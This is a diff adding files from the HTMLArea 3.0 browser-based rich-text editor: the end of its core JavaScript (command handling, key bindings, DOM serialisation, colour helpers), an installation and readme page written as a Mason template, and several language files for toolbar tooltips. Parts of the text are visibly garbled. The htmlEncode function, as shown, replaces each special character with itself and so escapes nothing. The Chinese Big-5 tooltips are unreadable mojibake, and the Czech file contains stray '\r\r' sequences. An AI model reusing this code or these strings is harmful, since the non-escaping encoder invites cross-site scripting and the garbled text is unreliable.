+ tr.appendChild(td);
+ // Mozilla likes to see something inside the cell.
+ (HTMLArea.is_gecko) && td.appendChild(doc.createElement("br"));
+ }
+ }
+ if (HTMLArea.is_ie) {
+ range.pasteHTML(table.outerHTML);
+ } else {
+ // insert the table
+ editor.insertNodeAtSelection(table);
+ }
+ return true;
+ }, null);
+};
+
+/***************************************************
+ * Category: EVENT HANDLERS
+ ***************************************************/
+
+// el is reference to the SELECT object
+// txt is the name of the select field, as in config.toolbar
+HTMLArea.prototype._comboSelected = function(el, txt) {
+ this.focusEditor();
+ var value = el.options[el.selectedIndex].value;
+ switch (txt) {
+ case "fontname":
+ case "fontsize": this.execCommand(txt, false, value); break;
+ case "formatblock":
+ (HTMLArea.is_ie) && (value = "<" + value + ">");
+ this.execCommand(txt, false, value);
+ break;
+ default:
+ // try to look it up in the registered dropdowns
+ var dropdown = this.config.customSelects[txt];
+ if (typeof dropdown != "undefined") {
+ dropdown.action(this);
+ } else {
+ alert("FIXME: combo box " + txt + " not implemented");
+ }
+ }
+};
+
+// the execCommand function (intercepts some commands and replaces them with
+// our own implementation)
+HTMLArea.prototype.execCommand = function(cmdID, UI, param) {
+ var editor = this; // for nested functions
+ this.focusEditor();
+ switch (cmdID.toLowerCase()) {
+ case "htmlmode" : this.setMode(); break;
+ case "hilitecolor":
+ (HTMLArea.is_ie) && (cmdID = "backcolor");
+ case "forecolor":
+ this._popupDialog("select_color.html", function(color) {
+ if (color) { // selection not canceled
+ editor._doc.execCommand(cmdID, false, "#" + color);
+ }
+ }, HTMLArea._colorToRgb(this._doc.queryCommandValue(cmdID)));
+ break;
+ case "createlink":
+ if (HTMLArea.is_ie || !UI) {
+ this._doc.execCommand(cmdID, UI, param);
+ } else {
+ // browser is Mozilla & wants UI
+ var param;
+ if ((param = prompt("Enter URL"))) {
+ this._doc.execCommand(cmdID, false, param);
+ }
+ }
+ break;
+ case "popupeditor":
+ if (HTMLArea.is_ie) {
+ window.open(this.popupURL("fullscreen.html"), "ha_fullscreen",
+ "toolbar=no,location=no,directories=no,status=no,menubar=no," +
+ "scrollbars=no,resizable=yes,width=640,height=480");
+ } else {
+ window.open(this.popupURL("fullscreen.html"), "ha_fullscreen",
+ "toolbar=no,menubar=no,personalbar=no,width=640,height=480," +
+ "scrollbars=no,resizable=yes");
+ }
+ // pass this object to the newly opened window
+ HTMLArea._object = this;
+ break;
+ case "inserttable": this._insertTable(); break;
+ case "insertimage": this._insertImage(); break;
+ case "about" : this._popupDialog("about.html", null, null); break;
+ case "showhelp" : window.open("reference.html", "ha_help"); break;
+ default: this._doc.execCommand(cmdID, UI, param);
+ }
+ this.updateToolbar();
+ return false;
+};
+
+/** A generic event handler for things that happen in the IFRAME's document.
+ * This function also handles key bindings. */
+HTMLArea.prototype._editorEvent = function(ev) {
+ var editor = this;
+ var keyEvent = (HTMLArea.is_ie && ev.type == "keydown") || (ev.type == "keypress");
+ if (keyEvent && ev.ctrlKey) {
+ var sel = null;
+ var range = null;
+ var key = String.fromCharCode(HTMLArea.is_ie ? ev.keyCode : ev.charCode).toLowerCase();
+ var cmd = null;
+ var value = null;
+ switch (key) {
+ case 'a':
+ if (!HTMLArea.is_ie) {
+ // KEY select all
+ sel = this._getSelection();
+ sel.removeAllRanges();
+ range = this._createRange();
+ range.selectNodeContents(this._doc.body);
+ sel.addRange(range);
+ HTMLArea._stopEvent(ev);
+ }
+ break;
+
+ // simple key commands follow
+
+ case 'b': cmd = "bold"; break;
+ case 'i': cmd = "italic"; break;
+ case 'u': cmd = "underline"; break;
+ case 's': cmd = "strikethrough"; break;
+ case 'l': cmd = "justifyleft"; break;
+ case 'e': cmd = "justifycenter"; break;
+ case 'r': cmd = "justifyright"; break;
+ case 'j': cmd = "justifyfull"; break;
+
+ // headings
+ case '1':
+ case '2':
+ case '3':
+ case '4':
+ case '5':
+ case '6':
+ cmd = "formatblock";
+ value = "h" + key;
+ if (HTMLArea.is_ie) {
+ value = "<" + value + ">";
+ }
+ break;
+ }
+ if (cmd) {
+ // execute simple command
+ this.execCommand(cmd, false, value);
+ HTMLArea._stopEvent(ev);
+ }
+ }
+ /*
+ else if (keyEvent) {
+ // other keys here
+ switch (ev.keyCode) {
+ case 13: // KEY enter
+ // if (HTMLArea.is_ie) {
+ this.insertHTML("<br />");
+ HTMLArea._stopEvent(ev);
+ // }
+ break;
+ }
+ }
+ */
+ // update the toolbar state after some time
+ if (editor._timerToolbar) {
+ clearTimeout(editor._timerToolbar);
+ }
+ editor._timerToolbar = setTimeout(function() {
+ editor.updateToolbar();
+ editor._timerToolbar = null;
+ }, 50);
+};
+
+// retrieve the HTML
+HTMLArea.prototype.getHTML = function() {
+ switch (this._editMode) {
+ case "wysiwyg" : return HTMLArea.getHTML(this._doc.body, false);
+ case "textmode" : return this._textArea.value;
+ default : alert("Mode <" + mode + "> not defined!");
+ }
+ return false;
+};
+
+// retrieve the HTML (fastest version, but uses innerHTML)
+HTMLArea.prototype.getInnerHTML = function() {
+ switch (this._editMode) {
+ case "wysiwyg" : return this._doc.body.innerHTML;
+ case "textmode" : return this._textArea.value;
+ default : alert("Mode <" + mode + "> not defined!");
+ }
+ return false;
+};
+
+// completely change the HTML inside
+HTMLArea.prototype.setHTML = function(html) {
+ switch (this._editMode) {
+ case "wysiwyg" : this._doc.body.innerHTML = html; break;
+ case "textmode" : this._textArea.value = html; break;
+ default : alert("Mode <" + mode + "> not defined!");
+ }
+ return false;
+};
+
+/***************************************************
+ * Category: UTILITY FUNCTIONS
+ ***************************************************/
+
+// browser identification
+
+HTMLArea.agt = navigator.userAgent.toLowerCase();
+HTMLArea.is_ie = ((HTMLArea.agt.indexOf("msie") != -1) && (HTMLArea.agt.indexOf("opera") == -1));
+HTMLArea.is_opera = (HTMLArea.agt.indexOf("opera") != -1);
+HTMLArea.is_mac = (HTMLArea.agt.indexOf("mac") != -1);
+HTMLArea.is_mac_ie = (HTMLArea.is_ie && HTMLArea.is_mac);
+HTMLArea.is_win_ie = (HTMLArea.is_ie && !HTMLArea.is_mac);
+HTMLArea.is_gecko = (navigator.product == "Gecko");
+
+// variable used to pass the object to the popup editor window.
+HTMLArea._object = null;
+
+// FIXME!!! this should return false for IE < 5.5
+HTMLArea.checkSupportedBrowser = function() {
+ if (HTMLArea.is_gecko) {
+ if (navigator.productSub < 20021201) {
+ alert("You need at least Mozilla-1.3 Alpha.\n" +
+ "Sorry, your Gecko is not supported.");
+ return false;
+ }
+ if (navigator.productSub < 20030210) {
+ alert("Mozilla < 1.3 Beta is not supported!\n" +
+ "I'll try, though, but it might not work.");
+ }
+ }
+ return HTMLArea.is_gecko || HTMLArea.is_ie;
+};
+
+// selection & ranges
+
+// returns the current selection object
+HTMLArea.prototype._getSelection = function() {
+ if (HTMLArea.is_ie) {
+ return this._doc.selection;
+ } else {
+ return this._iframe.contentWindow.getSelection();
+ }
+};
+
+// returns a range for the current selection
+HTMLArea.prototype._createRange = function(sel) {
+ if (HTMLArea.is_ie) {
+ return sel.createRange();
+ } else {
+ this.focusEditor();
+ if (typeof sel != "undefined") {
+ return sel.getRangeAt(0);
+ } else {
+ return this._doc.createRange();
+ }
+ }
+};
+
+// event handling
+
+HTMLArea._addEvent = function(el, evname, func) {
+ if (HTMLArea.is_ie) {
+ el.attachEvent("on" + evname, func);
+ } else {
+ el.addEventListener(evname, func, true);
+ }
+};
+
+HTMLArea._addEvents = function(el, evs, func) {
+ for (var i in evs) {
+ HTMLArea._addEvent(el, evs[i], func);
+ }
+};
+
+HTMLArea._removeEvent = function(el, evname, func) {
+ if (HTMLArea.is_ie) {
+ el.detachEvent("on" + evname, func);
+ } else {
+ el.removeEventListener(evname, func, true);
+ }
+};
+
+HTMLArea._removeEvents = function(el, evs, func) {
+ for (var i in evs) {
+ HTMLArea._removeEvent(el, evs[i], func);
+ }
+};
+
+HTMLArea._stopEvent = function(ev) {
+ if (HTMLArea.is_ie) {
+ ev.cancelBubble = true;
+ ev.returnValue = false;
+ } else {
+ ev.preventDefault();
+ ev.stopPropagation();
+ }
+};
+
+HTMLArea._removeClass = function(el, className) {
+ if (!(el && el.className)) {
+ return;
+ }
+ var cls = el.className.split(" ");
+ var ar = new Array();
+ for (var i = cls.length; i > 0;) {
+ if (cls[--i] != className) {
+ ar[ar.length] = cls[i];
+ }
+ }
+ el.className = ar.join(" ");
+};
+
+HTMLArea._addClass = function(el, className) {
+ // remove the class first, if already there
+ HTMLArea._removeClass(el, className);
+ el.className += " " + className;
+};
+
+HTMLArea._hasClass = function(el, className) {
+ if (!(el && el.className)) {
+ return false;
+ }
+ var cls = el.className.split(" ");
+ for (var i = cls.length; i > 0;) {
+ if (cls[--i] == className) {
+ return true;
+ }
+ }
+ return false;
+};
+
+HTMLArea.isBlockElement = function(el) {
+ var blockTags = " body form textarea fieldset ul ol dl li div " +
+ "p h1 h2 h3 h4 h5 h6 quote pre table thead " +
+ "tbody tfoot tr td iframe address ";
+ return (blockTags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
+};
+
+HTMLArea.needsClosingTag = function(el) {
+ var closingTags = " script style div span tr td tbody table em strong font a ";
+ return (closingTags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
+};
+
+// performs HTML encoding of some given string
+HTMLArea.htmlEncode = function(str) {
+ // we don't need regexp for that, but.. so be it for now.
+ str = str.replace(/&/ig, "&");
+ str = str.replace(/</ig, "<");
+ str = str.replace(/>/ig, ">");
+ str = str.replace(/\x22/ig, """);
+ // \x22 means '"' -- we use hex reprezentation so that we don't disturb
+ // JS compressors (well, at least mine fails.. ;)
+ return str;
+};
+
+// Retrieves the HTML code from the given node. This is a replacement for
+// getting innerHTML, using standard DOM calls.
+HTMLArea.getHTML = function(root, outputRoot) {
+ var html = "";
+ switch (root.nodeType) {
+ case 1: // Node.ELEMENT_NODE
+ case 11: // Node.DOCUMENT_FRAGMENT_NODE
+ var closed;
+ var i;
+ if (outputRoot) {
+ closed = (!(root.hasChildNodes() || HTMLArea.needsClosingTag(root)));
+ html = "<" + root.tagName.toLowerCase();
+ var attrs = root.attributes;
+ for (i = 0; i < attrs.length; ++i) {
+ var a = attrs.item(i);
+ if (!a.specified) {
+ continue;
+ }
+ var name = a.nodeName.toLowerCase();
+ if (/_moz/.test(name)) {
+ // Mozilla reports some special tags
+ // here; we don't need them.
+ continue;
+ }
+ var value;
+ if (name != "style") {
+ // IE5.5 reports 25 when cellSpacing is
+ // 1; other values might be doomed too.
+ // For this reason we extract the
+ // values directly from the root node.
+ // I'm starting to HATE JavaScript
+ // development. Browser differences
+ // suck.
+ if (typeof root[a.nodeName] != "undefined") {
+ value = root[a.nodeName];
+ } else {
+ value = a.nodeValue;
+ }
+ } else { // IE fails to put style in attributes list
+ // FIXME: cssText reported by IE is UPPERCASE
+ value = root.style.cssText;
+ }
+ if (/_moz/.test(value)) {
+ // Mozilla reports some special tags
+ // here; we don't need them.
+ continue;
+ }
+ html += " " + name + '="' + value + '"';
+ }
+ html += closed ? " />" : ">";
+ }
+ for (i = root.firstChild; i; i = i.nextSibling) {
+ html += HTMLArea.getHTML(i, true);
+ }
+ if (outputRoot && !closed) {
+ html += "</" + root.tagName.toLowerCase() + ">";
+ }
+ break;
+ case 3: // Node.TEXT_NODE
+ html = HTMLArea.htmlEncode(root.data);
+ break;
+ case 8: // Node.COMMENT_NODE
+ html = "<!--" + root.data + "-->";
+ break; // skip comments, for now.
+ }
+ return html;
+};
+
+// creates a rgb-style color from a number
+HTMLArea._makeColor = function(v) {
+ if (typeof v != "number") {
+ // already in rgb (hopefully); IE doesn't get here.
+ return v;
+ }
+ // IE sends number; convert to rgb.
+ var r = v & 0xFF;
+ var g = (v >> 8) & 0xFF;
+ var b = (v >> 16) & 0xFF;
+ return "rgb(" + r + "," + g + "," + b + ")";
+};
+
+// returns hexadecimal color representation from a number or a rgb-style color.
+HTMLArea._colorToRgb = function(v) {
+ // returns the hex representation of one byte (2 digits)
+ function hex(d) {
+ return (d < 16) ? ("0" + d.toString(16)) : d.toString(16);
+ };
+
+ if (typeof v == "number") {
+ // we're talking to IE here
+ var r = v & 0xFF;
+ var g = (v >> 8) & 0xFF;
+ var b = (v >> 16) & 0xFF;
+ return "#" + hex(r) + hex(g) + hex(b);
+ }
+
+ if (v.substr(0, 3) == "rgb") {
+ // in rgb(...) form -- Mozilla
+ var re = /rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/;
+ if (v.match(re)) {
+ var r = parseInt(RegExp.$1);
+ var g = parseInt(RegExp.$2);
+ var b = parseInt(RegExp.$3);
+ return "#" + hex(r) + hex(g) + hex(b);
+ }
+ // doesn't match RE?! maybe uses percentages or float numbers
+ // -- FIXME: not yet implemented.
+ return null;
+ }
+
+ if (v[0] == "#") {
+ // already hex rgb (hopefully :D )
+ return v;
+ }
+
+ // if everything else fails ;)
+ return null;
+};
+
+// modal dialogs for Mozilla (for IE we're using the showModalDialog() call).
+
+// receives an URL to the popup dialog and a function that receives one value;
+// this function will get called after the dialog is closed, with the return
+// value of the dialog.
+HTMLArea.prototype._popupDialog = function(url, action, init) {
+ Dialog(this.popupURL(url), action, init);
+};
+
+// paths
+
+HTMLArea.prototype.imgURL = function(file, plugin) {
+ if (typeof plugin == "undefined") {
+ return this.config.editorURL + file;
+ } else {
+ return this.config.editorURL + "plugins/" + plugin + "/img/" + file;
+ }
+};
+
+HTMLArea.prototype.popupURL = function(file) {
+ return this.config.editorURL + this.config.popupURL + file;
+};
+
+// EOF
+// Local variables: //
+// c-basic-offset:8 //
+// indent-tabs-mode:t //
+// End: //
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html>
+ <head>
+ <title>HTMLArea -- the free, customizable online editor</title>
+
+ <style type="text/css">
+ html, body { font-family: georgia,"times new roman",serif; background-color: #fff; color: #000; }
+ .label { text-align: right; padding-right: 0.3em; }
+ .bline { border-bottom: 1px solid #aaa; }
+ </style>
+ </head>
+
+ <body>
+ <div style="float: right; border: 1px solid #aaa; background-color: #eee; padding: 3px; margin-left: 10px; margin-bottom: 10px;">
+ <table cellspacing="0" cellpadding="0" border="0">
+ <tr>
+ <td class="label">Version:</td><td><% $version %></td>
+ </tr>
+ <tr>
+ <td class="label">Release:</td><td><% $release %> (<a href="release-notes.html">release notes</a>)</td>
+ </tr>
+ <tr>
+ <td class="label bline">Compiled at:</td><td class="bline"><% $time %></td>
+ </tr>
+ <tr>
+ <td class="label">SourceForge page:</td><td><a href="http://sf.net/projects/itools-htmlarea/">http://sf.net/projects/itools-htmlarea/</a></td>
+ </table>
+ </div>
+ <h1>HTMLArea -- the free<br/>customizable online editor</h1>
+
+ <p>
+ HTMLArea is a free, customizable online editor. It works inside your
+ browser. It uses a non-standard feature implemented in Internet
+ Explorer 5.5 or better for Windows and Mozilla 1.3 or better (any
+ platform), therefore it will only work in one of these browsers.
+ </p>
+
+ <p>
+ HTMLArea is copyright <a
+ href="http://interactivetools.com">InteractiveTools.com</a> and <a
+ href="http://dynarch.com">Dynarch.com</a> and it is
+ released under a BSD-style license. HTMLArea is created and developed
+ upto version 2.03 by InteractiveTools.com. Version 3.0 developed by
+ <a href="http://dynarch.com/mishoo/">Mihai Bazon</a> for
+ InteractiveTools. It contains code sponsored by third-party companies as well.
+ Please see our About Box for details about who sponsored what plugins.
+ </p>
+
+ <h2>Online demos</h2>
+
+ <ul>
+ <li><a href="examples/images.html">Image Manager Version</a> -- Contains the image manger plugin.</li>
+
+ <li><a href="examples/core.html">HTMLArea standard</a> -- contains the core
+ editor.</li>
+
+ <li><a href="examples/table-operations.html">HTMLArea + tables</a> --
+ loads the <tt>TableOperations</tt> plugin which provides some extra
+ editing features for tables.</li>
+
+ <li><a href="examples/spell-checker.html">HTMLArea + spell checher</a>
+ -- loads the <tt>SpellChecker</tt> plugin which provides what its
+ name says: a spell checker. This one requires additional support on
+ the server-side.</li>
+
+ <li><a href="examples/full-page.html">HTMLArea Full HTML Editor</a> --
+ loads the <tt>FullPage</tt> plugin which allows you to edit a full
+ HTML page, including <title>, <!DOCTYPE...> and some
+ other options.</li>
+
+ <li><a href="examples/context-menu.html">HTMLArea with Context
+ Menu</a> -- this plugin provides a nice and useful context menu.</li>
+
+ <li><a href="examples/fully-loaded.html">HTMLArea fully loaded</a> --
+ all of the above. ;-)</li>
+
+ </ul>
+
+ <h2>Installation</h2>
+
+ <p>
+ Installation is (or should be) easy. You need to unpack the ZIP file
+ in a directory accessible through your webserver. Supposing you
+ unpack in your <tt>DocumentRoot</tt> and your <tt>DocumentRoot</tt> is
+ <tt>/var/www/html</tt> as in a standard RedHat installation, you need
+ to acomplish the following steps: (the example is for a Unix-like
+ operating system)
+ </p>
+
+ <pre style="margin-left: 2em"
+>
+cd /var/www/html
+unzip /path/to/archive/<% $basename %>.zip
+mv <% $basename %> htmlarea
+find htmlarea/ -type f -exec chmod 644 {} \;
+find htmlarea/ -type d -exec chmod 755 {} \;
+find htmlarea/ -name "*.cgi" -exec chmod 755 {} \;</pre>
+
+ <p>
+ <strong>Notes.</strong> You may chose to symlink "htmlarea" to "<%
+ $basename %>", in which case your server needs to be configured to
+ "<tt>FollowSymLinks</tt>". You need to make sure that *.cgi files are
+ interpreted as CGI scripts. If you want to use the SpellChecker
+ plugin you need to have a recent version of Perl installed (I
+ recommend 5.8.0) on the server, and the module Text::Aspell, available
+ from CPAN. More info in "<a
+ href="plugins/SpellChecker/readme-tech.html">plugins/SpellChecker/readme-tech.html</a>".
+ </p>
+
+ <p>About how to setup your pages to use the editor, please read the
+ [outdated yet generally valid] <a
+ href="reference.html">documentation</a>.</p>
+
+ <h2>Status and links</h2>
+
+ <p>HTMLArea has reached version 3.0. As of this version, it
+ supports:</p>
+
+ <ul>
+
+ <li>Customizable toolbar</li>
+
+ <li>Easy internationalization</li>
+
+ <li>Plugin-based infrastructure</li>
+
+ <li>Delivers W3-compliant HTML (with few exceptions)</li>
+
+ <li>Has a subset of Microsoft Word's keyboard shortcuts</li>
+
+ <li>Full-screen editor</li>
+
+ <li>Advanced table operations (by external plugin
+ "TableOperations")</li>
+
+ <li>Spell checker (by external plugin "SpellChecker")</li>
+
+ <li>probably more... ;-)</li>
+
+ </ul>
+
+ <p>We have a <a
+ href="http://sourceforge.net/projects/itools-htmlarea/">project page</a>
+ at <a href="http://sourceforge.net">SourceForge.net</a>. There you can
+ also find out <a href="http://sourceforge.net/cvs/?group_id=69750">how
+ to retrieve the code from CVS</a>, or you can <a
+ href="http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/itools-htmlarea">browse
+ the CVS online</a>. We also have a <a
+ href="http://sourceforge.net/tracker/?atid=525656&group_id=69750&func=browse">bug
+ system</a>, a <a
+ href="http://sourceforge.net/tracker/?atid=525658&group_id=69750&func=browse">patch
+ tracking system</a> and a <a
+ href="http://sourceforge.net/tracker/?atid=525659&group_id=69750&func=browse">feature
+ request page</a>.</p>
+
+ <p>We invite you to say everything you want about HTMLArea <a
+ href="http://www.interactivetools.com/forum/gforum.cgi?forum=14;">on the
+ forums</a> at InteractiveTools.com. There you should also find the
+ latest news.</p>
+
+ <p>Sometimes I post news about the latest developments on <a
+ href="http://dynarch.com/mishoo/">my personal homepage</a>.</p>
+
+ <h2>"It doesn't work, what's wrong?"</h2>
+
+ <p>If it doesn't work, you have several options:</p>
+
+ <ul>
+
+ <li>Post a message to the forum. Describe your problem in as much
+ detail as possible. Include errors you might find in the JavaScript
+ console (if you are a Mozilla user), or errors displayed by IE (though
+ they're most of the times useless).</li>
+
+ <li>If you're positive that you discovered a bug in HTMLArea then feel
+ free to fill a bug report in our bug system. If you have the time you
+ should check to see if a similar bug was reported or not; it might be
+ fixed already in the CVS ;-) If you're positive that a similar bug was
+ not yet reported, do fill a bug report and please include as much
+ detail as possible, such as your browser, OS, errors from JavaScript
+ console, etc.</li>
+
+ <li>If you want a new feature to be implemented, post it on the
+ features request and someone will hopefully take care of it.</li>
+
+ </ul>
+
+ <p>You can <a href="mailto:mishoo@infoiasi.ro">contact me directly</a>
+ <em>only</em> if you want to pay me for implementing custom features to
+ HTMLArea. If you want to sponsor these features (that is, allow them to
+ get back into the public HTMLArea distribution) I'll be cheaper. ;-)</p>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Sun Aug 3 14:11:26 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:54:47 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
+
+<%ARGS>
+ $project => 'HTMLArea'
+ $version => '3.0'
+ $release => 'rc1'
+ $basename => 'HTMLArea-3.0-rc1'
+</%ARGS>
+
+<%INIT>;
+use POSIX qw(strftime);
+my $time = strftime '%b %e, %Y [%H:%M] GMT', gmtime;
+</%INIT>
--- /dev/null
+// I18N constants -- Chinese Big-5
+// by Dave Lo -- dlo@interactivetools.com
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "b5",
+
+ tooltips: {
+ bold: "²ÊÅé",
+ italic: "±×Åé",
+ underline: "©³½u",
+ strikethrough: "§R°£½u",
+ subscript: "¤U¼Ð",
+ superscript: "¤W¼Ð",
+ justifyleft: "¦ì¸m¾a¥ª",
+ justifycenter: "¦ì¸m©~¤¤",
+ justifyright: "¦ì¸m¾a¥k",
+ justifyfull: "¦ì¸m¥ª¥k¥µ¥",
+ orderedlist: "¶¶§Ç²M³æ",
+ unorderedlist: "µL§Ç²M³æ",
+ outdent: "´î¤p¦æ«eªÅ¥Õ",
+ indent: "¥[¼e¦æ«eªÅ¥Õ",
+ forecolor: "¤å¦rÃC¦â",
+ backcolor: "I´ºÃC¦â",
+ horizontalrule: "¤ô¥½u",
+ createlink: "´¡¤J³sµ²",
+ insertimage: "´¡¤J¹Ï§Î",
+ inserttable: "´¡¤Jªí®æ",
+ htmlmode: "¤Á´«HTMLì©l½X",
+ popupeditor: "©ñ¤j",
+ about: "Ãö©ó HTMLArea",
+ help: "»¡©ú",
+ textindicator: "¦rÅé¨Ò¤l"
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "cz", ENCODING: UTF-8 | ISO-8859-2\r\r
+// Author: Jiri Löw, <jirilow@jirilow.com>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "cz",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Tučně",\r\r
+ italic: "Kurzíva",\r\r
+ underline: "Podtržení",\r\r
+ strikethrough: "Přeškrtnutí",\r\r
+ subscript: "Dolní index",\r\r
+ superscript: "Horní index",\r\r
+ justifyleft: "Zarovnat doleva",\r\r
+ justifycenter: "Na střed",\r\r
+ justifyright: "Zarovnat doprava",\r\r
+ justifyfull: "Zarovnat do stran",\r\r
+ orderedlist: "Seznam",\r\r
+ unorderedlist: "Odrážky",\r\r
+ outdent: "Předsadit",\r\r
+ indent: "Odsadit",\r\r
+ forecolor: "Barva písma",\r\r
+ hilitecolor: "Barva pozadí",\r\r
+ horizontalrule: "Vodorovná čára",\r\r
+ createlink: "Vložit odkaz",\r\r
+ insertimage: "Vložit obrázek",\r\r
+ inserttable: "Vložit tabulku",\r\r
+ htmlmode: "Přepnout HTML",\r\r
+ popupeditor: "Nové okno editoru",\r\r
+ about: "O této aplikaci",\r\r
+ showhelp: "Nápověda aplikace",\r\r
+ textindicator: "Zvolený styl",\r\r
+ undo: "Vrátí poslední akci",\r\r
+ redo: "Opakuje poslední akci",\r\r
+ cut: "Vyjmout",\r\r
+ copy: "Kopírovat",\r\r
+ paste: "Vložit"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "OK",\r\r
+ "cancel": "Zrušit"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Cesta",\r\r
+ "TEXT_MODE": "Jste v TEXTOVÉM REŽIMU. Použijte tlačítko [<>] pro přepnutí do WYSIWIG."\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// danish version for htmlArea v3.0 - Alpha Release
+// - translated by rene<rene@laerke.net>
+// term´s and licenses are equal to htmlarea!
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "da",
+
+ tooltips: {
+ bold: "Fed",
+ italic: "Kursiv",
+ underline: "Understregning",
+ strikethrough: "Overstregning ",
+ subscript: "Sænket skrift",
+ superscript: "Hævet skrift",
+ justifyleft: "Venstrejuster",
+ justifycenter: "Centrer",
+ justifyright: "Højrejuster",
+ justifyfull: "Lige margener",
+ orderedlist: "Opstilling med tal",
+ unorderedlist: "Opstilling med punkttegn",
+ outdent: "Formindsk indrykning",
+ indent: "Forøg indrykning",
+ forecolor: "Skriftfarve",
+ backcolor: "Baggrundsfarve",
+ horizontalrule: "Horisontal linie",
+ createlink: "Indsæt hyperlink",
+ insertimage: "Indsæt billede",
+ inserttable: "Indsæt tabel",
+ htmlmode: "HTML visning",
+ popupeditor: "Vis editor i popup",
+ about: "Om htmlarea",
+ help: "Hjælp",
+ textindicator: "Anvendt stil"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "de", ENCODING: ISO-8859-1 for the german umlaut!
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "de",
+
+ tooltips: {
+ bold: "Fett",
+ italic: "Kursiv",
+ underline: "Unterstrichen",
+ strikethrough: "Durchgestrichen",
+ subscript: "Hochgestellt",
+ superscript: "Tiefgestellt",
+ justifyleft: "Linksbündig",
+ justifycenter: "Zentriert",
+ justifyright: "Rechtsbündig",
+ justifyfull: "Blocksatz",
+ orderedlist: "Nummerierung",
+ unorderedlist: "Aufzählungszeichen",
+ outdent: "Einzug verkleinern",
+ indent: "Einzug vergrößern",
+ forecolor: "Schriftfarbe",
+ backcolor: "Hindergrundfarbe",
+ hilitecolor: "Hintergrundfarbe",
+ horizontalrule: "Horizontale Linie",
+ inserthorizontalrule: "Horizontale Linie",
+ createlink: "Hyperlink einfügen",
+ insertimage: "Bild einfügen",
+ inserttable: "Tabelle einfügen",
+ htmlmode: "HTML Modus",
+ popupeditor: "Editor im Popup öffnen",
+ about: "Über htmlarea",
+ help: "Hilfe",
+ showhelp: "Hilfe",
+ textindicator: "Derzeitiger Stil",
+ undo: "Rückgängig",
+ redo: "Wiederholen",
+ cut: "Ausschneiden",
+ copy: "Kopieren",
+ paste: "Einfügen aus der Zwischenablage",
+ lefttoright: "Textrichtung von Links nach Rechts",
+ righttoleft: "Textrichtung von Rechts nach Links"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Abbrechen"
+ },
+
+ msg: {
+ "Path": "Pfad",
+ "TEXT_MODE": "Sie sind im Text-Modus. Benutzen Sie den [<>] Knopf um in den visuellen Modus (WYSIWIG) zu gelangen.",
+
+ "Moz-Clipboard" :
+ "Aus Sicherheitsgründen dürfen Skripte normalerweise nicht programmtechnisch auf " +
+ "Ausschneiden/Kopieren/Einfügen zugreifen. Bitte klicken Sie OK um die technische " +
+ "Erläuterung auf mozilla.org zu öffnen, in der erklärt wird, wie einem Skript Zugriff " +
+ "gewährt werden kann."
+ },
+
+ dialogs: {
+ "OK": "OK",
+ "Cancel": "Abbrechen",
+ "Insert/Modify Link": "Verknüpfung hinzufügen/ändern",
+ "None (use implicit)": "k.A. (implizit)",
+ "New window (_blank)": "Neues Fenster (_blank)",
+ "Same frame (_self)": "Selber Rahmen (_self)",
+ "Top frame (_top)": "Oberster Rahmen (_top)",
+ "Other": "Anderes",
+ "Target:": "Ziel:",
+ "Title (tooltip):": "Titel (Tooltip):",
+ "URL:": "URL:",
+ "You must enter the URL where this link points to": "Sie müssen eine Ziel-URL angeben für die Verknüpfung angeben"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "ee", ENCODING: UTF-8 | ISO-8859-1
+// Author: Martin Raie, <albertvill@hot.ee>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ee",
+
+ tooltips: {
+ bold: "Paks",
+ italic: "Kursiiv",
+ underline: "Allakriipsutatud",
+ strikethrough: "Läbikriipsutatud",
+ subscript: "Allindeks",
+ superscript: "Ülaindeks",
+ justifyleft: "Joonda vasakule",
+ justifycenter: "Joonda keskele",
+ justifyright: "Joonda paremale",
+ justifyfull: "Rööpjoonda",
+ orderedlist: "Nummerdus",
+ unorderedlist: "Täpploend",
+ outdent: "Vähenda taanet",
+ indent: "Suurenda taanet",
+ forecolor: "Fondi värv",
+ hilitecolor: "Tausta värv",
+ inserthorizontalrule: "Horisontaaljoon",
+ createlink: "Lisa viit",
+ insertimage: "Lisa pilt",
+ inserttable: "Lisa tabel",
+ htmlmode: "HTML/tavaline vaade",
+ popupeditor: "Suurenda toimeti aken",
+ about: "Teave toimeti kohta",
